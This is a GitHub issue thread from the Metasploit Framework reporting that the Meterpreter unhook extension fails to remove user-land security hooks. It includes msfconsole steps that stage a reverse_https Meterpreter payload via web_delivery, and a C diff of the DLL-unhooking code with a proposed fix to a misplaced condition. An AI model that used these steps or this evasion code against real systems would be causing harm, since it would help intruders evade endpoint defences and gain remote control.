rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.13k stars 13.97k forks source link

ext_server_unhook.x64.dll doesn't unhook the process #12549

Closed phra closed 4 years ago

phra commented 5 years ago

Description

The included ext_server_unhook.x64.dll doesn't work as expected since the user-land hooks are not removed.

Steps to reproduce

1. use exploit/multi/script/web_delivery
2. set target 2
3. set ssl true
4. set payload windows/x64/meterpreter/reverse_https
5. set srvport 80
6. set lhost eth1
7. set lport 443
8. set AutoUnhookProcess true
9. run

Expected behavior

The user-land hooks are removed

Current behavior

The user-land hooks are preserved

image

Additional info

Using manually https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher, the hooks are correctly removed.

image

System stuff

Metasploit version

Framework: 5.0.57-dev
Console  : 5.0.57-dev

I installed Metasploit with:

OS

Kali Linux

phra commented 5 years ago

after review the source code and diffing latest DLLRefresher with ext_unhook, the following changes can be seen:

1.

+   // clr.dll hotpatches itself at runtime for performance reasons, so skip it
+   if (wcscmp(L"clr.dll", wszBaseDllName) == 0)
+       goto cleanup;
+
+   dprintf("[REFRESH] Opening file: %S", wszFullDllName);
+

2.

+       if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
+           continue;

-        // Skip writable sections
-        if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
-            continue;
-
-        ScanAndFixSection((PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
-                          pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
+       if (wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0)
+       {
+           ScanAndFixSection((PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
+               pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
+       }
+   

in particular, in 2 we can see the following if being added that wraps ScanAndFixSection invocation:

if (wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0)

the if returns true only when the DLL is crl.dll and the section is .text excluding all others DLL from being checked.

should this condition be negated instead? (ie. excluding only clr.dll .text section)

if !((wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0))

in the original source code, the if is not present so maybe we can remove it entirely.

i tried also to compile the ReflectiveDLL version of DLLRefresher and inject it via shellcode_inject module and that works fine, that means that the hooks are correctly removed. Unfortunately additional steps are required to make it work as extension.

full diff:

--- loader.c    2019-11-07 16:42:33.833988949 +0100
+++ refresh.c   2019-11-07 16:42:28.006062216 +0100
@@ -1,8 +1,7 @@
-#include <stdlib.h>
-
-#include "loader.h"
+#include "refresh.h"
 #include "apisetmap.h"
-#include "ReflectiveDLLInjection.h"
+#include "../../common/common.h"
+#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"

 void RefreshPE()
 {
@@ -14,7 +13,7 @@
     PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
     PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;

-    OUTPUTDBGA("[*] Running DLLRefresher\n");
+    dprintf("[REFRESH] Running DLLRefresher");

     pLdteHead = GetInMemoryOrderModuleList();
     pLdteCurrent = pLdteHead;
@@ -26,9 +25,7 @@
             wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
             pDllBase = (ULONG_PTR)pLdteCurrent->DllBase;

-            OUTPUTDBGA("[*] Refreshing DLL: ");
-            OUTPUTDBGW(wszBaseDllName);
-            OUTPUTDBGA("\n");
+           dprintf("[REFRESH] Refreshing DLL: %S", wszFullDllName);

             hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase);

@@ -80,14 +77,17 @@
     PIMAGE_THUNK_DATA pThunkData;
     FARPROC* pIatEntry;

+   // clr.dll hotpatches itself at runtime for performance reasons, so skip it
+   if (wcscmp(L"clr.dll", wszBaseDllName) == 0)
+       goto cleanup;
+
+   dprintf("[REFRESH] Opening file: %S", wszFullDllName);
+
     // ----
     // Step 1: Map the file into memory
     // ----
-    OUTPUTDBGA("[+] Opening file: ");
-    OUTPUTDBGW(wszFullDllName);
-    OUTPUTDBGA("\n");

-    hFile = CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+   hFile = CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
     if (hFile == INVALID_HANDLE_VALUE)
         goto cleanup;

@@ -106,15 +106,15 @@
     pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew);

     // allocate memory to copy DLL into
-    OUTPUTDBGA("\t[+] Allocating memory for library\n");
+    dprintf("[REFRESH] Allocating memory for library");
     pLibraryAddr = (PCHAR)VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

     // copy header
-    OUTPUTDBGA("\t[+] Copying PE header into memory\n");
+    dprintf("[REFRESH] Copying PE header into memory");
     memcpy(pLibraryAddr, pFile, pNtHeader->OptionalHeader.SizeOfHeaders);

     // copy sections
-    OUTPUTDBGA("\t[+] Copying PE sections into memory\n");
+    dprintf("[REFRESH] Copying PE sections into memory");
     pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
     for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
     {
@@ -130,11 +130,10 @@
     // ----
     // Step 3: Calculate relocations
     // ----
-    OUTPUTDBGA("\t[+] Calculating file relocations\n");
+    dprintf("[REFRESH] Calculating file relocations");

     pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
     pInitialImageBase = pNtHeader->OptionalHeader.ImageBase;
-    
     // set the ImageBase to the already loaded module's base
     pNtHeader->OptionalHeader.ImageBase = pDllBase;

@@ -145,8 +144,8 @@
         pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress);

         // iterate through each relocation entry
-       while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock)
-       {
+        while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock)
+        {
             // the VA for this relocation block
             pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress);

@@ -194,7 +193,7 @@
     // ----
     // Step 4: Update import table
     // ----
-    OUTPUTDBGA("\t[+] Resolving Import Address Table (IAT) \n");
+    dprintf("[REFRESH] Resolving Import Address Table (IAT) ");

     pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
     if (pDataDir->Size)
@@ -214,11 +213,9 @@

             mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName);

-            OUTPUTDBGA("\t\t[+] Loading library: ");
-            OUTPUTDBGW(wszDllName);
-            OUTPUTDBGA("\n");
+           dprintf("[REFRESH] Loading library: %S", wszDllName);

-            // If the DLL starts with api- or ext-, resolve the redirected name and load it
+           // If the DLL starts with api- or ext-, resolve the redirected name and load it
             if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
             {
                 // wsRedir is not null terminated
@@ -232,6 +229,7 @@
                         goto next_import;

                     memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR));
+                    dprintf("[REFRESH] Redirected library: %S", wszDllName);
                 }
             }

@@ -286,9 +284,7 @@
     PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
     PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;

-    OUTPUTDBGA("\t\t\t[*] Searching for loaded module: ");
-    OUTPUTDBGW(wszModule);
-    OUTPUTDBGA(" -> ");
+   dprintf("[REFRESH] Searching for loaded module: %S", wszModule);

     pLdteCurrent = pLdteHead = GetInMemoryOrderModuleList();

@@ -296,13 +292,11 @@
         if (pLdteCurrent->FullDllName.Length > 2 &&
             _wcsnicmp(wszModule, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length / 2) == 0)
         {
-            OUTPUTDBGA("found in memory\n");
             return ((HMODULE)pLdteCurrent->DllBase);
         }
         pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
     } while (pLdteCurrent != pLdteHead);

-    OUTPUTDBGA("loading from disk\n");
     return LoadLibraryW(wszModule);
 }

@@ -315,9 +309,7 @@

     DWORD dwIdx;

-    OUTPUTDBGA("[*] Scanning module: ");
-    OUTPUTDBGW(wszBaseDllName);
-    OUTPUTDBGA("\n");
+   dprintf("[REFRESH] Scanning module: %S", wszBaseDllName);

     pDosHeader = (PIMAGE_DOS_HEADER)pKnown;
     pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew);
@@ -329,13 +321,15 @@
     pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
     for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
     {
+       if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
+           continue;

-        // Skip writable sections
-        if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
-            continue;
-
-        ScanAndFixSection((PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
-                          pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
+       if (wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0)
+       {
+           ScanAndFixSection((PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
+               pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
+       }
+       
     }
 }

@@ -345,18 +339,16 @@

     if (memcmp(pKnown, pSuspect, stLength) != 0)
     {
-        OUTPUTDBGA("\t[!] Found modification in: ");
-        OUTPUTDBGA(szSectionName);
-        OUTPUTDBGA("\n");
+       dprintf("[REFRESH] Found modification in: %s", szSectionName);

         if (!VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect))
             return;

-        OUTPUTDBGA("\t[+] Copying known good section into memory.\n");
+        dprintf("[REFRESH] Copying known good section into memory.");
         memcpy(pSuspect, pKnown, stLength);

-        if (!VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect))
-            OUTPUTDBGA("\t[!] Failed to reset memory permissions.\n");
+       if (!VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect))
+           dprintf("[REFRESH] Unable to reset memory permissions");
     }
 }

@@ -468,11 +460,7 @@
                 {
                     szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA);

-                    OUTPUTDBGA("\t\t\t[*] Found a redirected entry: ");
-                    OUTPUTDBGA(szFwdDesc);
-                    OUTPUTDBGA("\n");
-
-                    // Find the first character after "."
+                   // Find the first character after "."
                     szRedirFunc = strstr(szFwdDesc, ".") + 1;
                     stDllName = (SIZE_T)(szRedirFunc - szFwdDesc);
phra commented 5 years ago

see https://github.com/rapid7/metasploit-payloads/pull/366

bwatters-r7 commented 4 years ago

I wonder if @mrjefftang is around?

mrjefftang commented 4 years ago

I can't remember why clr.dll is specifically excluded but I'm pretty sure it's because there was an issue when loading into powershell.